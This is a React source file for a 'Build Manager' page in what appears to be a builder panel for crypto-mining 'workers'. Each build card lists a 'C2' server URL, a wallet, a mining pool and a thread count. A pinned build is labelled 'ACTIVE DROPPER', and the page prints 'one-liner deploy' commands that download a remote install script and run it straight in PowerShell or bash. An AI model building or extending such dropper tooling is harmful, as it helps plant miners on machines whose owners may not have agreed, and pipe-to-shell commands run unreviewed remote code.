import { useCallback, useEffect, useRef, useState } from 'react'; import { useNavigate } from 'react-router-dom'; import { api } from '../api/client'; import type { BuildRecord } from '../types'; import DownloadButton from '../components/DownloadButton'; import AuthDownloadButton from '../components/AuthDownloadButton'; import { LanDownloadQR } from '../components/Fleet/LanDownloadQR'; import NeonCard from '../components/NeonCard/NeonCard'; import './BuildManagerPage.css'; // ─── helpers ───────────────────────────────────────────────────────────────── function truncateWallet(w: string): string { if (!w || w.length < 12) return w || '—'; return `${w.slice(0, 6)}…${w.slice(-6)}`; } function truncateUrl(u: string): string { try { const parsed = new URL(u); return parsed.host; } catch { return u.length > 30 ? u.slice(0, 28) + '…' : u; } } function fmtSize(bytes: number): string { if (!bytes) return '—'; if (bytes >= 1024 * 1024) return `${(bytes / 1024 / 1024).toFixed(1)} MB`; return `${(bytes / 1024).toFixed(0)} KB`; } function fmtDate(iso: string): string { try { const d = new Date(iso); return d.toLocaleDateString(undefined, { month: 'short', day: 'numeric', year: 'numeric' }) + ' ' + d.toLocaleTimeString(undefined, { hour: '2-digit', minute: '2-digit' }); } catch { return iso; } } function platformLabel(p?: string): string { if (!p) return 'Win'; const m: Record = { windows: 'Win', linux: 'Linux', darwin: 'macOS', universal: 'Universal', }; return m[p.toLowerCase()] ?? p; } function platformColor(p?: string): string { if (!p) return 'var(--neon-cyan)'; const m: Record = { windows: '#00e5ff', linux: '#a3e635', darwin: '#f0abfc', universal: '#ffd700', }; return m[p.toLowerCase()] ?? '#aaa'; } function CopyButton({ text, label }: { text: string; label: string }) { const [copied, setCopied] = useState(false); const copy = () => { navigator.clipboard.writeText(text).then(() => { setCopied(true); setTimeout(() => setCopied(false), 1800); }); }; return ( ); } function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () => void }) { const [confirming, setConfirming] = useState(false); const [busy, setBusy] = useState(false); const timerRef = useRef | null>(null); const handleClick = () => { if (!confirming) { setConfirming(true); timerRef.current = setTimeout(() => setConfirming(false), 3000); } else { if (timerRef.current) clearTimeout(timerRef.current); setBusy(true); api.deleteBuild(buildId).finally(() => { setBusy(false); setConfirming(false); onDeleted(); }); } }; return ( ); } function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boolean; onPinned: () => void }) { const [busy, setBusy] = useState(false); const handleClick = async () => { if (busy) return; setBusy(true); try { if (pinned) { await api.unpinAll(); } else { await api.pinBuild(buildId); } onPinned(); } catch (e) { console.error(e); } finally { setBusy(false); } }; return ( ); } // ─── per-build card ─────────────────────────────────────────────────────────── function BuildCard({ build, serverBase, onReforge, onDeleted, onPinned, }: { build: BuildRecord; serverBase: string; onReforge: (b: BuildRecord) => void; onDeleted: () => void; onPinned: () => void; }) { const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`; const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`; const isUniversal = build.platform?.toLowerCase() === 'universal'; const isFusion = !!build.file_name?.includes('runner') || (build.bundle_size && build.bundle_size > 0); const ps1 = `iex (irm '${serverBase}/install.ps1')`; const sh = `curl -sL ${serverBase}/install.sh | bash`; return ( {/* ── Pinned banner ── */} {build.pinned && (
📌 ACTIVE DROPPER — iex (irm '{serverBase}/install.ps1') serves this build
)} {/* ── Header row ── */}
{build.worker_name || '(unnamed)'} {platformLabel(build.platform)} {isFusion && FUSION} {isUniversal && !isFusion && UNIVERSAL}
{fmtDate(build.created_at)}
{/* ── Baked settings summary ── */}
C2 {truncateUrl(build.server_url)}
Wallet {truncateWallet(build.wallet)}
Pool {build.pool_host || '—'}:{build.pool_port || '—'} {build.pool_tls && TLS}
Threads {build.threads || '—'}
Size {fmtSize(build.bundle_size || build.file_size)}
File {exeName.length > 28 ? exeName.slice(0, 26) + '…' : exeName}
{/* ── Download methods ── */}
DOWNLOAD
↓ {isUniversal ? 'Universal ZIP' : exeName} ↓ Uninstall script
{/* ── Dropper one-liners ── */}
ONE-LINER DEPLOY (serves latest build)
Win {ps1}
*nix {sh}
URL {downloadUrl}
{/* ── QR + actions ── */}
Scan to download
); } // ─── page ───────────────────────────────────────────────────────────────────── export default function BuildManagerPage() { const [builds, setBuilds] = useState([]); const [loading, setLoading] = useState(true); const [error, setError] = useState(''); const [serverBase, setServerBase] = useState(''); const navigate = useNavigate(); const loadBuilds = useCallback(async () => { try { const [list, info] = await Promise.all([ api.listBuilds(), api.getServerInfo().catch(() => null), ]); setBuilds(list); if (info) { const pub = info.suggested_url?.replace(/\/$/, '') || window.location.origin; setServerBase(pub); } else { setServerBase(window.location.origin); } setError(''); } catch (e) { setError(e instanceof Error ? e.message : 'Failed to load builds'); } finally { setLoading(false); } }, []); useEffect(() => { loadBuilds(); }, [loadBuilds]); const handleReforge = useCallback((build: BuildRecord) => { // Pass build id as query param so Forge page can pre-fill from it navigate(`/forge?reforge=${encodeURIComponent(build.id)}`); }, [navigate]); return (

Build Manager

All forged workers — download, deploy, re-forge, or delete from any browser.

{error && (
⚠️ {error}
)} {!loading && builds.length === 0 && !error && (

NO BUILDS YET

Head to Forge, fill in your config, and click FORGE INSTALLER.

)} {loading && (
LOADING BUILDS…
)}
{builds.map((build) => ( ))}
); }